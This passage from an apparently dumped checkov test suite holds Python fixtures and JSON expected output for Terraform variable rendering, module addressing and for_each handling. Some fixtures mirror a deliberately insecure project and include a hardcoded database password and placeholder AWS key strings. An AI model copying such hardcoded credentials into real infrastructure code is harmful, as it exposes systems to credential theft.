'amzn-ami-hvm-*-x86_64-gp2', 'filter.1': {'name': 'owner-alias', 'values': ['amazon']}, 'filter.1.name': 'owner-alias', 'filter.1.values': ['amazon'], 'filter.1.values.0': 'amazon'}\n        self.assertTrue(attribute_has_nested_attributes(attribute_key='filter', attributes=attributes))\n        self.assertTrue(attribute_has_nested_attributes(attribute_key='filter.1.values', attributes=attributes))\n        self.assertFalse(attribute_has_nested_attributes(attribute_key='filter.1.values.0', attributes=attributes))\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/__init__.py",
    "content": ""
  },
  {
    "path": "tests/terraform/graph/variable_rendering/expected_data.py",
    "content": "expected_postgres_module = {\"create\": True,\n                            \"name\": \"${var.name}\",\n                            \"use_name_prefix\": True,\n                            \"description\": \"Security Group managed by Terraform\",\n                            \"vpc_id\": \"${var.vpc_id}\",\n                            \"revoke_rules_on_delete\": False,\n                            \"tags\": {},\n                            \"ingress_rules\": [\"postgresql-tcp\"],\n                            \"ingress_with_self\": [{\"rule\": \"all-all\"}],\n                            \"number_of_computed_egress_rules\": 0,\n                            }\n\nexpected_terragoat_local_resource_prefix = {'resource_prefix': {'value': 'test_id-acme-dev'}}\n\nexpected_terragoat_db_instance = {'name': 'db1',\n                                  'engine': 'mysql',\n                                  'option_group_name': 'og-test_id-acme-dev',\n                                  'parameter_group_name': 'pg-test_id-acme-dev',\n                                  'db_subnet_group_name': 'sg-test_id-acme-dev',\n                                  'vpc_security_group_ids': ['aws_security_group.default.id'],\n                                  'identifier': 'rds-test_id-acme-dev',\n                                  'password': 'Aa1234321Bb',\n                                  'tags': {'Name': 'test_id-acme-dev-rds',\n                                            'Environment': 'test_id-acme-dev'}\n                                  }\n\n\nexpected_eks = {\n    \"resource\": {\n        \"aws_eks_cluster.tf_eks\": {\n            \"version\": [\"1.19\"],\n            \"vpc_config\": {\n                \"security_group_ids\": [\"aws_security_group.master.id\"],\n                \"subnet_ids\": \"aws_subnet.eks[*].id\"\n            },\n        }\n    }\n}\n\n\nexpected_provider = {\n    \"provider\": {\n        \"aws\": {\n            \"access_key\": [\"AKIAVAN\"],\n            \"secret_key\": [\"0CU4jk0\"],\n            \"region\": [\"us-west-2\"],\n        }\n    }\n}\n"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/expected_data_foreach.json",
    "content": "{\n  \"breadcrumbs\": {\n    \"depend_resources/main.tf\": {\n      \"aws_s3_bucket.foreach_map[\\\"bucket_a\\\"]\": {\n        \"location\": [\n          {\n            \"type\": \"variable\",\n            \"name\": \"test\",\n            \"path\": \"/Users/cshayner/development/checkov/tests/terraform/graph/variable_rendering/resources/foreach_examples/depend_resources/variable.tf\",\n            \"module_connection\": false\n          }\n        ]\n      },\n      \"aws_s3_bucket.foreach_map[\\\"bucket_b\\\"]\": {\n        \"location\": [\n          {\n            \"type\": \"variable\",\n            \"name\": \"test\",\n            \"path\": \"/Users/cshayner/development/checkov/tests/terraform/graph/variable_rendering/resources/foreach_examples/depend_resources/variable.tf\",\n            \"module_connection\": false\n          }\n        ]\n      }\n    }\n  },\n  \"tf_definitions\": {\n    \"depend_resources/variable.tf\": {\n      \"variable\": [\n        {\n          \"foreach_map\": {\n            \"__end_line__\": 6,\n            \"__start_line__\": 1,\n            \"default\": [\n              {\n                \"bucket_a\": \"us-west-2\",\n                \"bucket_b\": \"us-east-2\"\n              }\n            ],\n            \"__address__\": \"foreach_map\"\n          }\n        },\n        {\n          \"test\": {\n            \"__end_line__\": 10,\n            \"__start_line__\": 8,\n            \"default\": [\n              \"test\"\n            ],\n            \"__address__\": \"test\"\n          }\n        }\n      ]\n    },\n    \"depend_resources/main.tf\": {\n      \"resource\": [\n        {\n          \"aws_s3_bucket\": {\n            \"foreach_map[\\\"bucket_a\\\"]\": {\n              \"__end_line__\": 6,\n              \"__start_line__\": 1,\n              \"location\": [\n                \"test\"\n              ],\n              \"name\": [\n                \"bucket_a\"\n              ],\n              \"region\": [\n                \"us-west-2\"\n              ],\n              \"__address__\": \"aws_s3_bucket.foreach_map[\\\"bucket_a\\\"]\"\n            }\n          }\n        },\n        {\n          \"aws_s3_bucket\": {\n            \"foreach_map[\\\"bucket_b\\\"]\": {\n              \"__end_line__\": 6,\n              \"__start_line__\": 1,\n              \"location\": [\n                \"test\"\n              ],\n              \"name\": [\n                \"bucket_b\"\n              ],\n              \"region\": [\n                \"us-east-2\"\n              ],\n              \"__address__\": \"aws_s3_bucket.foreach_map[\\\"bucket_b\\\"]\"\n            }\n          }\n        }\n      ]\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/variable_rendering/expected_foreach_module_dup_foreach.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"module\": [\n      {\n        \"s3_module[\\\"a\\\"]\": {\n          \"__address__\": \"s3_module[\\\"a\\\"]\",\n          \"__end_line__\": 12,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}\"\n          ],\n          \"__start_line__\": 7,\n          \"bucket\": [\n            false\n          ],\n          \"bucket2\": [\n            \"\"\n          ],\n          \"source\": [\n            \"./module\"\n          ]\n        }\n      },\n      {\n        \"s3_module2[0]\": {\n          \"__address__\": \"s3_module2[0]\",\n          \"__end_line__\": 19,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}\"\n          ],\n          \"__start_line__\": 14,\n          \"bucket\": [\n            \"\"\n          ],\n          \"bucket2\": [\n            true\n          ],\n          \"source\": [\n            \"./module\"\n          ]\n        }\n      },\n      {\n        \"s3_module[\\\"b\\\"]\": {\n          \"__address__\": \"s3_module[\\\"b\\\"]\",\n          \"__end_line__\": 12,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"b\\\", \\\"nested_tf_module\\\": null}}\"\n          ],\n          \"__start_line__\": 7,\n          \"bucket\": [\n            false\n          ],\n          \"bucket2\": [\n            \"\"\n          ],\n          \"source\": [\n            \"./module\"\n          ]\n        }\n      },\n      {\n        \"s3_module2[1]\": {\n          \"__address__\": \"s3_module2[1]\",\n          \"__end_line__\": 19,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 1, \\\"nested_tf_module\\\": null}}\"\n          ],\n          \"__start_line__\": 14,\n          \"bucket\": [\n            \"\"\n          ],\n          \"bucket2\": [\n            true\n          ],\n          \"source\": [\n            \"./module\"\n          ]\n        }\n      }\n    ],\n    \"provider\": [\n      {\n        \"aws\": {\n          \"__address__\": \"aws.test_provider\",\n          \"__end_line__\": 5,\n          \"__start_line__\": 1,\n          \"alias\": [\n            \"test_provider\"\n          ],\n          \"region\": [\n            \"us-west-2\"\n          ],\n          \"test_provider\": [\n            true\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}\": {\n    \"module\": [\n      {\n        \"inner_s3_module[\\\"c\\\"]\": {\n          \"__address__\": \"module.s3_module[\\\"a\\\"].inner_s3_module[\\\"c\\\"]\",\n          \"__end_line__\": 5,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": \\\"c\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 1,\n          \"bucket2\": [\n            false\n          ],\n          \"source\": [\n            \"./module2\"\n          ]\n        }\n      },\n      {\n        \"inner_s3_module2[\\\"e\\\"]\": {\n          \"__address__\": \"module.s3_module[\\\"a\\\"].inner_s3_module2[\\\"e\\\"]\",\n          \"__end_line__\": 11,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": \\\"e\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 7,\n          \"bucket2\": [\n            \"\"\n          ],\n          \"source\": [\n            \"./module2\"\n          ]\n        }\n      },\n      {\n        \"inner_s3_module[\\\"d\\\"]\": {\n          \"__address__\": \"module.s3_module[\\\"a\\\"].inner_s3_module[\\\"d\\\"]\",\n          \"__end_line__\": 5,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": \\\"d\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 1,\n          \"bucket2\": [\n            false\n          ],\n          \"source\": [\n            \"./module2\"\n          ]\n        }\n      },\n      {\n        \"inner_s3_module2[\\\"f\\\"]\": {\n          \"__address__\": \"module.s3_module[\\\"a\\\"].inner_s3_module2[\\\"f\\\"]\",\n          \"__end_line__\": 11,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": \\\"f\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 7,\n          \"bucket2\": [\n            \"\"\n          ],\n          \"source\": [\n            \"./module2\"\n          ]\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket\": {\n          \"__address__\": \"module.s3_module[\\\"a\\\"].bucket\",\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      },\n      {\n        \"bucket2\": {\n          \"__address__\": \"module.s3_module[\\\"a\\\"].bucket2\",\n          \"__end_line__\": 20,\n          \"__start_line__\": 18,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"b\\\", \\\"nested_tf_module\\\": null}}\": {\n    \"module\": [\n      {\n        \"inner_s3_module[\\\"c\\\"]\": {\n          \"__address__\": \"module.s3_module[\\\"b\\\"].inner_s3_module[\\\"c\\\"]\",\n          \"__end_line__\": 5,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 1,\n          \"bucket2\": [\n            false\n          ],\n          \"source\": [\n            \"./module2\"\n          ]\n        }\n      },\n      {\n        \"inner_s3_module2[\\\"e\\\"]\": {\n          \"__address__\": \"module.s3_module[\\\"b\\\"].inner_s3_module2[\\\"e\\\"]\",\n          \"__end_line__\": 11,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 7,\n          \"bucket2\": [\n            \"\"\n          ],\n          \"source\": [\n            \"./module2\"\n          ]\n        }\n      },\n      {\n        \"inner_s3_module[\\\"d\\\"]\": {\n          \"__address__\": \"module.s3_module[\\\"b\\\"].inner_s3_module[\\\"d\\\"]\",\n          \"__end_line__\": 5,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 1,\n          \"bucket2\": [\n            false\n          ],\n          \"source\": [\n            \"./module2\"\n          ]\n        }\n      },\n      {\n        \"inner_s3_module2[\\\"f\\\"]\": {\n          \"__address__\": \"module.s3_module[\\\"b\\\"].inner_s3_module2[\\\"f\\\"]\",\n          \"__end_line__\": 11,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 7,\n          \"bucket2\": [\n            \"\"\n          ],\n          \"source\": [\n            \"./module2\"\n          ]\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket\": {\n          \"__address__\": \"module.s3_module[\\\"b\\\"].bucket\",\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      },\n      {\n        \"bucket2\": {\n          \"__address__\": \"module.s3_module[\\\"b\\\"].bucket2\",\n          \"__end_line__\": 20,\n          \"__start_line__\": 18,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}\": {\n    \"module\": [\n      {\n        \"inner_s3_module[\\\"c\\\"]\": {\n          \"__address__\": \"module.s3_module2[0].inner_s3_module[\\\"c\\\"]\",\n          \"__end_line__\": 5,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": \\\"c\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 1,\n          \"bucket2\": [\n            \"\"\n          ],\n          \"source\": [\n            \"./module2\"\n          ]\n        }\n      },\n      {\n        \"inner_s3_module2[\\\"e\\\"]\": {\n          \"__address__\": \"module.s3_module2[0].inner_s3_module2[\\\"e\\\"]\",\n          \"__end_line__\": 11,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": \\\"e\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 7,\n          \"bucket2\": [\n            true\n          ],\n          \"source\": [\n            \"./module2\"\n          ]\n        }\n      },\n      {\n        \"inner_s3_module[\\\"d\\\"]\": {\n          \"__address__\": \"module.s3_module2[0].inner_s3_module[\\\"d\\\"]\",\n          \"__end_line__\": 5,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": \\\"d\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 1,\n          \"bucket2\": [\n            \"\"\n          ],\n          \"source\": [\n            \"./module2\"\n          ]\n        }\n      },\n      {\n        \"inner_s3_module2[\\\"f\\\"]\": {\n          \"__address__\": \"module.s3_module2[0].inner_s3_module2[\\\"f\\\"]\",\n          \"__end_line__\": 11,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": \\\"f\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 7,\n          \"bucket2\": [\n            true\n          ],\n          \"source\": [\n            \"./module2\"\n          ]\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket\": {\n          \"__address__\": \"module.s3_module2[0].bucket\",\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      },\n      {\n        \"bucket2\": {\n          \"__address__\": \"module.s3_module2[0].bucket2\",\n          \"__end_line__\": 20,\n          \"__start_line__\": 18,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 1, \\\"nested_tf_module\\\": null}}\": {\n    \"module\": [\n      {\n        \"inner_s3_module[\\\"c\\\"]\": {\n          \"__address__\": \"module.s3_module2[1].inner_s3_module[\\\"c\\\"]\",\n          \"__end_line__\": 5,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 1,\n          \"bucket2\": [\n            \"\"\n          ],\n          \"source\": [\n            \"./module2\"\n          ]\n        }\n      },\n      {\n        \"inner_s3_module2[\\\"e\\\"]\": {\n          \"__address__\": \"module.s3_module2[1].inner_s3_module2[\\\"e\\\"]\",\n          \"__end_line__\": 11,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 7,\n          \"bucket2\": [\n            true\n          ],\n          \"source\": [\n            \"./module2\"\n          ]\n        }\n      },\n      {\n        \"inner_s3_module[\\\"d\\\"]\": {\n          \"__address__\": \"module.s3_module2[1].inner_s3_module[\\\"d\\\"]\",\n          \"__end_line__\": 5,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 1,\n          \"bucket2\": [\n            \"\"\n          ],\n          \"source\": [\n            \"./module2\"\n          ]\n        }\n      },\n      {\n        \"inner_s3_module2[\\\"f\\\"]\": {\n          \"__address__\": \"module.s3_module2[1].inner_s3_module2[\\\"f\\\"]\",\n          \"__end_line__\": 11,\n          \"__resolved__\": [\n            \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module2\\\", \\\"foreach_idx\\\": null, \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module2\\\", \\\"foreach_idx\\\": 0, \\\"nested_tf_module\\\": null}}}\"\n          ],\n          \"__start_line__\": 7,\n          \"bucket2\": [\n            true\n          ],\n          \"source\": [\n            \"./module2\"\n          ]\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket\": {\n          \"__address__\": \"module.s3_module2[1].bucket\",\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      },\n      {\n        \"bucket2\": {\n          \"__address__\": \"module.s3_module2[1].bucket2\",\n          \"__end_line__\": 20,\n          \"__start_line__\": 18,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": \\\"c\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": \\\"a\\\", \\\"nested_tf_module\\\": null}}}\": {\n    \"locals\": [\n      {\n        \"__address__\": \"module.s3_module[\\\"a\\\"].module.inner_s3_module[\\\"c\\\"].bucket2\",\n        \"bucket2\": [\n          false\n        ]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_s3_bucket_public_access_block\": {\n          \"var_bucket\": {\n            \"__address__\": \"module.s3_module[\\\"a\\\"].module.inner_s3_module[\\\"c\\\"].aws_s3_bucket_public_access_block.var_bucket\",\n            \"__end_line__\": 11,\n            \"__provider_address__\": \"\",\n            \"__start_line__\": 5,\n            \"block_public_acls\": [\n              true\n            ],\n            \"block_public_policy\": [\n              true\n            ],\n            \"bucket\": [\n              false\n            ],\n            \"ignore_public_acls\": [\n              true\n            ],\n            \"restrict_public_buckets\": [\n              true\n            ]\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"bucket2\": {\n          \"__address__\": \"module.s3_module[\\\"a\\\"].module.inner_s3_module[\\\"c\\\"].bucket2\",\n          \"__end_line__\": 16,\n          \"__start_line__\": 14,\n          \"type\": [\n            \"string\"\n          ]\n        }\n      }\n    ]\n  },\n  \"{\\\"file_path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/module2/main.tf\\\", \\\"tf_source_modules\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/module/main.tf\\\", \\\"name\\\": \\\"inner_s3_module\\\", \\\"foreach_idx\\\": \\\"c\\\", \\\"nested_tf_module\\\": {\\\"path\\\": \\\".../tests/terraform/graph/variable_rendering/resources/foreach_module_dup_foreach/main.tf\\\", \\\"name\\\": \\\"s3_module\\\", \\\"foreach_idx\\\": 